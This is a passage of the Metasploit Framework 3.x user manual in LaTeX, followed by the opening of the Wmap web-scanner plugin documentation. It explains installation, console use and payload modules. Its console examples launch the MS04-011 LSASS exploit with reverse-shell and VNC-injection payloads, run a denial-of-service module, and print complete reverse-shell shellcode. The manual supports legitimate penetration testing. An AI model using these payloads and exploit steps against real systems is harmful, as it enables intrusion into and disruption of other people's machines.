about this issue, please see the Ubuntu ticket: \url{https://bugs.launchpad.net/bugs/282302}.
\section{Installation on Windows}
\label{INSTALL-WIN32}
\par
The Metasploit Framework is fully supported on the Windows platform. To install the Framework on Windows,
download the latest version of the Windows installer from \url{http://metasploit.com/framework/download/}, perform
an online update, and launch the \texttt{msfgui} interface from the Start Menu. To access a standard
\texttt{msfconsole} interface, select the Console option from the Window menu. As an alternative, you can
use the \texttt{msfweb} interface, which supports Mozilla Firefox and Internet Explorer.
\section{Platform Caveats}
\label{INSTALL-CAVEAT}
\par
When using the Framework on the Windows platform, keep in mind that \texttt{msfgui} and \texttt{msfweb} are the only
supported user interfaces. While \texttt{msfcli} may appear to work on the command line, it will will run into
trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules,
and plugins from functioning. This problem does not occur within Cygwin environment. The Windows platform does
not support raw IP packet injection, packet injection, wireless driver exploitation, or SMB relaying attacks
without specific configuration. In most cases, those features can be accessed by running Metasploit inside of a
Linux-based virtual machine (such as BackTrack 3 in VMWare).
\section{Supported Operating Systems}
\label{INSTALL-SUPPORT}
\par
The Framework should run on almost any Unix-based operating system that includes a complete and modern version
of the Ruby interpreter (1.8.4+). Every stable version of the Framework is tested with three primary platforms:
\begin{itemize}
\item Linux 2.6 (x86, ppc)
\item Windows NT (2000, XP, 2003, Vista)
\item MacOS X 10.5 (x86, ppc)
\end{itemize}
\par
For information about manually installing the framework, including all of the required dependencies needed
to use the new \texttt{msfgui} interface, please see the framework web site: \url{http://metasploit.com/framework/support}
\section{Updating the Framework}
\label{INSTALL-UPDATE}
\par
The Framework can be updated using a standard \texttt{Subversion} client. The
old \texttt{msfupdate} tool is no longer supported. Windows users can click on
the Online Update link within the Metasploit 3 program folder on the Start Menu.
To obtain the latest updates on a Unix-like platform, change into the Framework
installation directory and execute \texttt{svn update}. If you are accessing the
internet through a HTTP proxy server, please see the Subversion FAQ on proxy
access: \url{http://subversion.tigris.org/faq.html#proxy}
\pagebreak
\chapter{Getting Started}
\section{The Console Interface}
\label{STARTED-CONSOLE}
\par
After you have installed the Framework, you should verify that everything is
working properly The easiest way to do this is to execute the
\texttt{msfconsole} user interface. If you are using Windows, start the \texttt{msfgui}
interface and access the \texttt{Console} link from the Window menu.
The console should display an ASCII art logo, print the current version, some module
counts, and drop to a "msf> " prompt. From this prompt, type \texttt{help} to get a list of
valid commands. You are currently in the "main" mode; this allows you to list
exploits, list payloads, and configure global options. To list all available
exploits, type \texttt{show exploits}. To obtain more information about a given
exploit, type \texttt{info module\_name}.
\par
The console interface was designed to be flexible and fast. If you
enter a command that is not recognized by the console, it will scan the system
path to determine if it is a system command. \footnote{If you are accessing the console
through \texttt{msfweb}, this feature has been disabled for security reasons.}
If it finds a match, that command will be executed with the supplied arguments. This allows you to use
your standard set of tools without having to leave the console. The console interface
supports tab completion of known commands. The \texttt{msfweb} interface
includes tab completion by default, but the \texttt{msfconsole} interface requires that
Ruby was built with the Readline library. For more information on tab completion, please
refer to appendix \ref{REF-TAB}.
\par
The console startup will similar to the text below.
\begin{verbatim}
o 8 o o
8 8 8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ msf v3.1-release
+ -- --=[ 263 exploits - 116 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 45 aux
msf >
\end{verbatim}
\section{The GUI Interface}
\label{STARTED-GUI}
\par
The \texttt{msfgui} interface was introduced in version 3.1 and provides the functionality
of \texttt{msfconsole} in addition to many new features. To access a \texttt{msfconsole}
shell, select the Console option from the Window menu. To search for a module within the
module tree, enter a string or regular expression into the search box and click the button
labeled Find. All matching modules will appear the tree below. To execute a module,
double-click its name in the tree, or right-click its name and select the Execute option.
To view the source code of any module, right-click its name and select the View Code option.
\par
Once a module is selected, a wizard-based interface will walk you through the process of
configuring and launching the module. In the case of exploit modules, the output from
the module will appear in the main window under the Module Output tab. Any sessions created
by the module will appear in the Sessions view in the main window. To access a session,
double-click the session name in the view, or open a Console and use the \texttt{sessions}
command to interact with the shell. Metepreter sessions will spawn a shell when double-clicked,
but also offer a process and file browser via the right-click context menu.
\section{The Command Line Interface}
\label{STARTED-CLI}
\par
If you are looking for a way to automate exploit testing, or simply do not want
to use an interactive interface, then \texttt{msfcli} may be the solution.
\footnote{The msfcli interface will not work properly with the native Windows version of Ruby}
This interface takes a module name as the first parameter, followed by the options
in a VAR=VAL format, and finally an action code to specify what should be done.
The module name is used to determine which exploit or auxiliary module you
want to launch.
\par
The action code is a single letter; S for summary, O for options, A for advanced
options, I for IDS evasions, P for payloads, T for targets, AC for auxiliary
actions, C to try a vulnerability check, and E to exploit. The saved
datastore will be loaded and used at startup, allowing you to configure
convenient default options in the Global or module-specific datastore of
\texttt{msfconsole}, save them, and take advantage of them in the
\texttt{msfcli} interface. As of version 3.1, the \texttt{msfcli} interface
will also work with auxiliary modules.
\section{The Web Interface}
\label{STARTED-WEB}
\par
The \texttt{msfweb} interface is based on Ruby on Rails. To access this interface,
execute \texttt{msfweb} to start up the server. The \texttt{msfweb}
interface uses the WEBrick web server to handle requests. By default, \texttt{msfweb} will listen
on the loopback address (127.0.0.1) on port 55555. A log message should be displayed indicating that
the service has started. To access the interface, open your browser to the appropriate URL
(\url{http://127.0.0.1:55555/} by default). The main \texttt{msfweb} interface consists of a toolbar
containing various icons and a background with the metasploit logo. If you want access to a console,
click the Console link. This console interface is nearly identical to the standard
\texttt{msfconsole} interface. The Exploits, Auxiliary, and Payloads links will walk you through
the process of selecting a module, configuring it, and running it. Once an exploit is run and
a session is created, you can access these sessions from the Sessions link. These icons will open up
a sub-window within the page. These windows can be moved, minimized, maximized, and closed.
\pagebreak
\chapter{The DataStore}
\par
The datastore system is a core component of the Framework. The interfaces use
it to configure settings, the payloads use it patch opcodes, the exploits
use it to define parameters, and it is used internally to pass options between
modules. There are two types of datastores. First, there is a single global
datastore that can be accessed using the \texttt{setg} and \texttt{unsetg}
commands from \texttt{msfconsole}. Second, each module instance has its own
datastore in which arbitrary options or parameters can be stored. For
example, when the \texttt{RHOST} option is set, its value is stored in the
datastore of the module instance that it was set relative to. In the event
that an option was not set in a module instance's datastore, the framework
will consult the global datastore to see if it was set there.
\section{Global DataStore}
\label{ENV-GLOBAL}
\par
The Global datastore is accessed through the console via the \texttt{setg} and
\texttt{unsetg} commands. The following example shows the Global datastore
state after a fresh installation. Calling \texttt{setg} with no arguments
displays the current global datastore. Default settings are automatically
loaded when the interface starts.
\begin{verbatim}
msf > setg
Global
======
No entries in data store.
\end{verbatim}
\section{Module DataStore}
\label{ENV-TEMP}
\par
The module datastore is accessed through the \texttt{set} and \texttt{unset}
commands. This datastore only applies to the currently loaded module;
switching to another module via the \texttt{use} command will result in the
module datastore for the current module being swapped out with the datastore
of the new module. If no module is currently active, the \texttt{set} and
\texttt{unset} commands will operate on the global datastore. Switching back
to the original module will initialize a new datastore for the module. To
persist the contents of either the global or module-specific datastores, the
\texttt{save} command should be used.
\section{Saved DataStore}
\label{ENV-SAVE}
\par
The \texttt{save} command can be used to synchronize the Global and all module
datastores to disk. The saved environment is written to
\texttt{HOME/.msf3/config} and will be loaded when any of the user interfaces
are executed.
\section{DataStore Efficiency}
\label{ENV-EFF}
\par
This split datastore system allows you save time during exploit development
and penetration testing. Common options between exploits can be defined in the
Global datastore once and automatically used in any exploit you load thereafter.
\par
The example below shows how the \texttt{LPORT}, \texttt{LHOST}, and
\texttt{PAYLOAD} global datastore can be used to save time when exploiting a
set of Windows-based targets. If this datastore was set and a Linux exploit
was being used, the module datastore (via \texttt{set} and \texttt{unset})
could be used to override these defaults.
{\footnotesize
\begin{verbatim}
f > setg LHOST 192.168.0.10
LHOST => 192.168.0.10
msf > setg LPORT 4445
LPORT => 4445
msf > setg PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf > use windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > show options
Module options:
...
Payload options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.0.10 yes The local address
LPORT 4445 yes The local port
...
\end{verbatim}}
\section{DataStore Variables}
\label{ENV-VAR}
\par
The datastore can be used to configure many aspects of the Framework, ranging
from user interface settings to specific timeout options in the network socket
API. This section describes the most commonly used environment variables.
\par
For a complete listing of all environment variables, please see the file
Environment.txt in the ``documentation'' subdirectory of the Framework.
\subsection{LogLevel}
\par
This variable is used to control the verbosity of log messages provided
by the components of the Framework. If this variable is not set, framework
logging is disabled. Setting this variable to 0 will turn on default log
messages. A value of 1 will enable additional, non-verbose log messages that
may be helpful in troubleshooting. A value of 2 will enable verbose debug
logging. A value of 3 will enable all logging and may generate a large amount
of log messages. Only use this when much additional information is required.
Log files are stored in the logs subdirectory of the user's configuration
directory (~/.msf3/logs). Unlike version 2 of the framework, debugging
messages are never written directly to the console.
\subsection{MsfModulePaths}
\par
This variable can be used to add additional paths from which to load modules.
By default, the framework will load modules from the modules directory found
within the framework install. It will also load modules from ~/.msf3/modules
if such a path exists. This variable makes it possible to statically define
additional paths from which to load modules.
\pagebreak
\chapter{Using the Framework}
\section{Choosing a Module}
\par
From the \texttt{msfconsole} interface, you can view the list of modules that
are available for you to interact with. You can see all available modules
through the \texttt{show all} command. To see the list of modules of a
particular type you can use the \texttt{show moduletype} command, where
\textit{moduletype} is any one of exploits, encoders, payloads, and so on.
You can select a module with the \texttt{use} command by specifying the
module's name as the argument. The \texttt{info} command can be used to view
information about a module without using it. Unlike Metasploit 2.x, the new
version of Metasploit supports interacting with each different module types
through the \texttt{use} command. In Metasploit 2.x, only exploit modules
could be interacted with.
\section{Exploit Modules}
\par
Exploit modules are the defacto module in Metasploit which are used to
encapsulate an exploit.
\subsection{Configuring the Active Exploit}
\par
Once you have selected an exploit with the \texttt{use} command, the next step
is to determine what options it requires. This can be accomplished with the
\texttt{show options} command. Most exploits use \texttt{RHOST} to specify the
target address and \texttt{RPORT} to set the target port. Use the \texttt{set}
command to configure the appropriate values for all required options. If you
have any questions about what a given option does, refer to the module source
code. Advanced options are available with some exploit modules, these can be
viewed with the \texttt{show advanced} command. Options useful for IDS and IPS
evasion can be viewed with the \texttt{show evasion} command.
\subsection{Verifying the Exploit Options}
\par
The \texttt{check} command can be used to determine whether the target
system is vulnerable to the active exploit module. This is a quick way to
verify that all options have been correctly set and that the target is
actually vulnerable to exploitation. Not all exploit modules have implemented
the check functionality. In many cases it is nearly impossible to determine
whether a service is vulnerable without actually exploiting it. A
\texttt{check} command should never result in the target system crashing or
becoming unavailable. Many modules display version information and
expect you to analyze it before proceeding.
\subsection{Selecting a Target}
\par Many exploits will require the \texttt{TARGET} environment variable to be
set to the index number of the desired target. The \texttt{show targets}
command will list all targets provided by the exploit module. Many exploits
will default to a brute-force target type; this may not be desirable in all
situations.
\subsection{Selecting the Payload}
\par The payload is the actual code that will run on the target system after
a successful exploit attempt. Use the \texttt{show payloads} command to list
all payloads compatible with the current exploit. If you are behind a
firewall, you may want to use a bind shell payload, if your target is behind
one and you are not, you would use a reverse connect payload. You can use the
\texttt{info payload\_name} command to view detailed information about a given
payload.
\par
Once you have decided on a payload, use the \texttt{set} command to specify
the payload module name as the value for the \texttt{PAYLOAD} environment
variable. Once the payload has been set, use the \texttt{show options} command
to display all available payload options. Most payloads have at least one
required option. Advanced options are provided by a handful of payload
options; use the \texttt{show advanced} command to view these. Please keep in
mind that you will be allowed to select any payload compatible with that
exploit, even if it not compatible with your currently selected
\texttt{TARGET}. For example, if you select a Linux target, yet choose a BSD
payload, you should not expect the exploit to work.
\subsection{Launching the Exploit}
\par The \texttt{exploit} command will launch the attack. If everything went
well, your payload will execute and potentially provide you with an
interactive command shell on the exploited system.
\section{Auxiliary Modules}
\par
Metasploit 3.0 supports the concept of auxiliary modules which can be used to
perform arbitrary, one-off actions such as port scanning, denial of service,
and even fuzzing.
\subsection{Running an Auxiliary Task}
\par
Auxiliary modules are quite a bit similar to exploit modules. Instead of
having targets, they have actions, which are specified through the
\texttt{ACTION} option. To run an auxiliary module, you can either use the
\texttt{run} command, or you can use the \texttt{exploit} command -- they're
both the same thing.
\begin{verbatim}
msf > use dos/windows/smb/ms06_035_mailslot
msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(ms06_035_mailslot) > run
[*] Mangling the kernel, two bytes at a time...
\end{verbatim}
\section{Payload Modules}
\par
Payload modules encapsulate the arbitrary code (shellcode) that is executed as
the result of an exploit succeeding. Payloads typically build a communication
channel between Metasploit and the victim host.
\subsection{Generating a Payload}
\par
The console interface supports generating different forms of a payload. This
is a new feature in Metasploit 3.0. To generate payloads, first select a
payload through the \texttt{use} command.
\begin{verbatim}
msf > use windows/shell_reverse_tcp
msf payload(shell_reverse_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-b <opt> The list of characters to avoid: '\x00\xff'
-e <opt> The name of the encoder module to use.
-h Help banner.
-o <opt> A comma separated list of options in VAR=VAL format.
-s <opt> NOP sled length.
-t <opt> The output type: ruby, perl, c, or raw.
msf payload(shell_reverse_tcp) >
\end{verbatim}
\par
Using the options supported by the \texttt{generate} command, different
formats of a payload can be generated. Some payloads will require options
which can be specified through the \texttt{-o} parameter. Additionally, a
format to convey the generated payload can be specified through the
\texttt{-t} parameter. To save the resulting data to a local file, pass the
\texttt{-f} parameter followed by the output file name.
\begin{verbatim}
msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4
LHOST => 1.2.3.4
msf payload(shell_reverse_tcp) > generate -t ruby
# windows/shell_reverse_tcp - 287 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +
"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +
"\x04\x5f\x53\xff\xd6\xff\xd0"
msf payload(shell_reverse_tcp) >
\end{verbatim}
\section{Nop Modules}
\par
NOP modules are used to generate no-operation instructions that can be used
for padding out buffers.
\subsection{Generating a NOP Sled}
\par
The NOP module console interface supports generating a NOP sled of an
arbitrary size and displaying it in a given format through the
\texttt{generate} command.
\begin{verbatim}
msf > use x86/opty2
msf nop(opty2) > generate -h
Usage: generate [options] length
Generates a NOP sled of a given length.
OPTIONS:
-b <opt> The list of characters to avoid: '\x00\xff'
-h Help banner.
-s <opt> The comma separated list of registers to save.
-t <opt> The output type: ruby, perl, c, or raw.
msf nop(opty2) >
\end{verbatim}
\par
To generate a 50 byte NOP sled that is displayed as a C-style buffer, the
following command can be run:
\begin{verbatim}
msf nop(opty2) > generate -t c 50
unsigned char buf[] =
"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"
"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"
"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"
"\x92\xb5\xd4\x4f\x91";
msf nop(opty2) >
\end{verbatim}
\pagebreak
\chapter{Advanced Features}
\par
This section covers some of the advanced features that can be found in this
release. These features can be used in any compatible exploit and highlight
the strength of developing attack code using an exploit framework.
\section{The Meterpreter}
\par
The Meterpreter is an advanced multi-function payload that can be dynamically
extended at run-time. In normal terms, this means that it provides you with a
basic shell and allows you to add new features to it as needed. Please refer
to the Meterpreter documentation for an in-depth description of how it works
and what you can do with it. The Meterpreter manual can be found in the
``documentation'' subdirectory of the Framework as well as online at:
\url{http://www.metasploit.com/documents/meterpreter.pdf}
\section{PassiveX Payloads}
\par The Metasploit Framework can be used to
load arbitrary ActiveX controls into a target process. This feature works by
patching the registry of the target system and causing the exploited process
to launch internet explorer with a URL pointing back to the Framework. The
Framework starts up a simple web server that accepts the request and sends
back a web page instructing it to load an ActiveX component. The exploited
system then downloads, registers, and executes the ActiveX.
\par
The basic PassiveX payload, \texttt{windows/xxx/reverse\_http}, supports any
custom ActiveX that you develop. In addition to the base payload, three other
PassiveX modules are included in the Framework. These can be used to execute a
command shell, load the Meterpreter, or inject a VNC service. When any of
these three payloads are used, the PassiveX object will emulate a TCP
connection through HTTP GET and POST requests. This allows you to interact
with a command shell, VNC, or the Meterpreter using nothing but standard HTTP
traffic.
\par
Since PassiveX uses the Internet Explorer browser to load the ActiveX
component, it will pass right through an outbound web proxy, using whatever
system and authentication settings that have already been configured. The
PassiveX payloads will only work when the target system has Internet Explorer
6.0 installed (not 5.5 or 7.0). For more information about PassiveX,
please see the Uninformed Journal article titled "Post-Exploitation on Windows
using ActiveX Controls", located online at:
\url{http://www.uninformed.org/?v=1&a=3&t=pdf}
\section{Chainable Proxies}
\par
The Framework includes transparent support for TCP proxies, this release has
handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a
given exploit, the \texttt{Proxies} environment variable needs to be set. The value of
this variable is a comma-separated list of proxy servers, where each server is
in the format type:host:port. The type values are 'http' for HTTP CONNECT and
'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that
the system was stable with over five hundred SOCKS and HTTP proxies configured
randomly in a chain. The proxy chain only masks the exploit request, the
automatic connection to the payload is not relayed through the proxy chain at
this time.
\section{Win32 UploadExec Payloads}
\par
Although Unix systems normally include all of the tools you need for
post-exploitation, Windows systems are notoriously lacking in a decent command
line toolkit. The windows/upexec/* payloads included in this release allow you to
simultaneously exploit a Windows system, upload your favorite tool, and execute
it, all across the payload socket connection. When combined with a
self-extracting rootkit or scripting language interpreter (perl.exe!), this can
be a very powerful feature. The Meterpreter payloads are usually much better
suited for penetration testing tasks.
\section{Win32 DLL Injection Payloads}
\par
The Framework includes a staged payload that is
capable of injecting a custom DLL into memory in combination with any Win32
exploit. This payload will not result in any files being written to disk; the
DLL is loaded directly into memory and is started as a new thread in the
exploited process. This payload was developed by Jarkko Turkulainen and Matt
Miller and is one of the most powerful post-exploitation techniques developed
to date. To create a DLL which can be used with this payload, use the
development environment of choice and build a standard Win32 DLL. This DLL
should export an function called Init which takes a single argument, an
integer value which contains the socket descriptor of the payload connection.
The Init function becomes the entry point for the new thread in the exploited
process. When processing is complete, it should return and allow the loader
stub to exit the process according to the \texttt{EXITFUNC} environment
variable. If you would like to write your own DLL payloads, refer to the
external/source/dllinject directory in the Framework. In additional to normal
DLL Injection, version 3.2 and newer include support for Reflective DLL Injection
payloads as well. For more information about Reflective DLL Injection, please see
the Harmony Security paper, located at
\url{http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf}
\section{VNC Server DLL Injection}
\par
One of the first DLL injection payloads developed was a customized VNC server.
This server was written by Matt Miller and based on the RealVNC source code.
Additional modifications were made to allow the server to work with exploited,
non-interactive network services. This payload allows you to immediately access
the desktop of an exploited system using almost any Win32 exploit. The DLL is
loaded into the remote process using any of the staged loader systems, started
up as a new thread in the exploited process, and the listens for VNC client
requests on the same socket used to load the DLL. The Framework listens
on a local socket for a VNC client and proxies data across the payload
connection to the server.
\par
The VNC server will attempt to obtain full access to the current interactive
desktop. If the first attempt fails, it will call RevertToSelf() and then try
the attempt again. If it still fails to obtain full access to this desktop, it
will fall back to a read-only mode. In read-only mode, the Framework user can
view the contents of the desktop, but not interact with it. If full access was
obtained, the VNC server will spawn a command shell on the desktop with the
privileges of the exploited service. This is useful in situations where an
unprivileged user is on the interactive desktop, but the exploited service is
running with System privileges.
\par
If there is no interactive user logged into the system or the screen has been
locked, the command shell can be used to launch explorer.exe anyways. This can
result in some very confused users when the logon screen also has a Start Menu.
If the interactive desktop is changed, either through someone logging into the
system or locking the screen, the VNC server will disconnect the client. Future
versions may attempt to follow a desktop switch.
\par
To use the VNC injection payloads, specify the full path to the VNC server as
the value of the \texttt{DLL} option. The VNC server can be found in the data
subdirectory of the Framework installation and is named 'vncdll.dll'. The source
code of the DLL can be found in the external/source/vncdll
subdirectory of the Framework installation.
\par
There are a few situations where the VNC inject payload
will simply not work. These problems are often cause by strange execution
environments or other issues related to a specific exploit or injection method.
These issues will be addressed as time permits:
\begin{itemize}
\item The windows/brightstor/universal\_agent exploit will cause the VNC payload to
crash, possibly due to a strange heap state.
\end{itemize}
\begin{verbatim}
msf > use windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST some.vuln.host
RHOST => some.vuln.host
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
msf exploit(ms04_011_lsass) > set LHOST your.own.ip
LHOST => your.own.ip
msf exploit(ms04_011_lsass) > set LPORT 4321
LPORT => 4321
msf exploit(ms04_011_lsass) > exploit
\end{verbatim}
If the "vncviewer" application is in your path and the AUTOVNC option has been
set (it is by default), the Framework will automatically open the VNC desktop.
If you would like to connect to the desktop manually, \texttt{set AUTOVNC 0}, then use
vncviewer to connect to 127.0.0.1 on port 5900.
\pagebreak
\chapter{More Information}
\section{Web Site}
\par
The metasploit.com web site is the first place to check for updated modules and
new releases. This web site also hosts the Opcode Database and a decent shellcode
archive.
\section{Mailing List}
\par
Metasploit hosts two mailing lists -- Framework and Framework-Hackers. You can find
information about these mailing lists, along with their archives, at the following URL:
\url{http://spool.metasploit.com/}
\section{Developers}
\par
If you are interested in helping out with the Framework project, or have any
questions related to module development, please contact the development team. The
Metasploit Framework development team can be reached at msfdev[at]metasploit.com.
\pagebreak
\appendix
\pagebreak
\chapter{Security}
\par
We recommend that you use a robust, secure terminal emulator when
utilizing the command-line interfaces. Examples include \texttt{konsole},
\texttt{gnome-terminal}, and recent versions of \texttt{PuTTY}.
\par
We do not recommend that the \texttt{msfweb} interface be used on untrusted
networks.
\section{Console Interfaces}
\par
The console does not perform terminal escape sequence filtering, this
could allow a hostile network service to do Bad Things (TM) to your terminal
emulator when the exploit or check commands are used. We suggest that you
use a terminal emulator which limits the functionality available through
hostile escape sequences. Please see the Terminal Emulator Security Issues paper
below for more information on this topic:
\url{http://marc.info/?l=bugtraq&m=104612710031920&q=p3}
\section{Web Interface}
\par
The \texttt{msfweb} interface does not adequately filter certain arguments,
allowing a hostile web site operator to perform a cross-site scripting
attack on the \texttt{msfweb} user.
\par
The \texttt{msfweb} interface does not provide any access control functionality. If
the service is configured to listen on a different interface (default is
loopback), a malicious attacker could abuse this to exploit remote systems
and potentially access local files. The local file access attack can be
accomplished by malicious arguments to the payloads which use a local file
as input and then exploiting a (fake) service to obtain the file contents.
\pagebreak
\chapter{General Tips}
\section{Tab Completion}
\label{REF-TAB}
\par
On the Unix and Cygwin platforms, tab completion depends on the existence of the Readline
library when Ruby was compiled. Some operating systems, such as Mac OS X, have included
a version of Ruby without this support. To solve this problem, grab the latest version
of the Readline library, configure, build, and install it. Then grab the latest version
of the Ruby interpreter and do the same. The resulting Ruby binary can be used to start the
\texttt{msfconsole} interface with full tab completion support.
\section{Secure Socket Layer}
\label{REF-SSL}
\par
Nearly all TCP-based exploit and auxiliary modules have builtin support for the Secure Socket Layer.
This is a feature of the Socket class included with the Rex library. To indicate that all connections
should use SSL, set the \texttt{SSL} environment variable to \texttt{true} from within the Framework
interface. Keep in mind, that in most cases the default \texttt{RPORT} variable will need to be
changed as well. For example, when exploiting a web application vulnerability through SSL, the
\texttt{RPORT} value should be set to \texttt{443}.
\pagebreak
\chapter{Licenses}
\par
The Metasploit Framework is distributed under the modified-BSD license defined below.
{\footnotesize
\begin{verbatim}
Copyright (c) 2008, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7, Inc. nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\end{verbatim}}
\end{document}

Binary file not shown.

Binary file not shown.

View File

@ -1,567 +0,0 @@
.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
Metasploit Wmap 1.5
==============================================================================
Efrain Torres et [ ] metasploit.com 2012
------------------------------------------------------------------------------
=[ 0. Intro ] ----------------------------------------------------------------
So its 2012 and before the Mayans are proven to be right I was able to create
a new version of this plugin. If you have read the old wmap documentation this
is what is going on:
Wmap is still a general purpose web application scanning framework for
Metasploit. Still is a different approach compared to other open source
alternatives and commercial scanners, as Wmap is not build around any browser
or spider for data capture and manipulation. And the best thing is that still
is FR33. Lots of bugs are gone and the new code allows for faster and more
efficient execution.
=[ 1. How it works ] ---------------------------------------------------------
The old architecture (versions < 1.5):
[CLIENT] ----- [ATTACK PROXY] ----- [TARGET]
| | ^
+--------->[METASPLOIT DB] |
| |
[MSF 3 - Wmap SCANNER] |
[MSF 3 - Wmap MODULES] -----+
The new architecture:
[CLIENTS]
|
|
+-------[Wmap PLUGIN]<-----+----->[METASPLOIT DB]
| | | |
| | | |
[NODE 1] [NODE 2] [NODE n] ---------+
| | | \
| | | [Wmap MODULES]
+---------[TARGETS]--------+
Wmap is a Metasploit plugin and will interact with the database, reading all
gathered traffic from any client you have configured/adapted or duct taped to
store web sites, requests, responses and forms in the Metasploit DB.
The test performed are all Metasploit modules which WMAP execute in a
configurable order. The test modules are implemented as auxiliary or exploit
modules and they can interact with any other MSF component including the
database other exploits and plugins.
The new architecture allows to have different distributed clients and nodes
all storing results and data to a central database. This means that large
enviorments can be tested using multiple metasploit msfrcpd servers (nodes)
controled from one (or more) WMAP consoles. Wmap will execute the tests to be
launched from each node distributing evenly the job load across all configured
nodes.
In case you dont want to use a distributed model wmap will detect that no
nodes have been configured and will run the modules from the local host.
=[ 2. Crawlers,proxies and other clients ] -----------------------------------
At this time Metasploit have 4 components that may be used as clients
to store web sites in the database:
(1) If you have configured your database properly and use the
auxiliary/scanner/http/crawler module, this module will create a web site
(with related host and service) and store all requests,responses and forms
automatically.
(2) Less known is that metasploit has a different crawler called msfcrawler
and besides supporting modules to parse the responses in any way you want
it will also store the required data in the database.
(3) Also any module that creates a web_site in the database (e.g.
auxiliary/scanner/http/http_version module)
will add a site to the database that can be selected as a target in Wmap,
however the only path you will be storing will be the root path of the
website '/'.
(4) Metasploit has the awesome 'db_import' command that allows to import
multiple scan results from many sources. For tools like Acunetix,
Burp and Appscan the results contains web_pages and forms. For the rest
